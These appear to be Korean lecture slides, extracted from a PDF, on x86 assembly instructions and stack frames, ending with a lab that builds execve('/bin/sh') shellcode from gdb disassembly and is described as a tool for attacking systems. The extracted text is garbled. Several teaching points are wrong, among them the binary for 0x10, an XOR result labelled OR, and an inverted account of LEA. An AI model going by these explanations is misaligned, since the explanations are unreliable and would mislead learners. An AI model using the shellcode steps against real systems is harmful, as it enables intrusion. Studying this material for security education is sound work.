AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

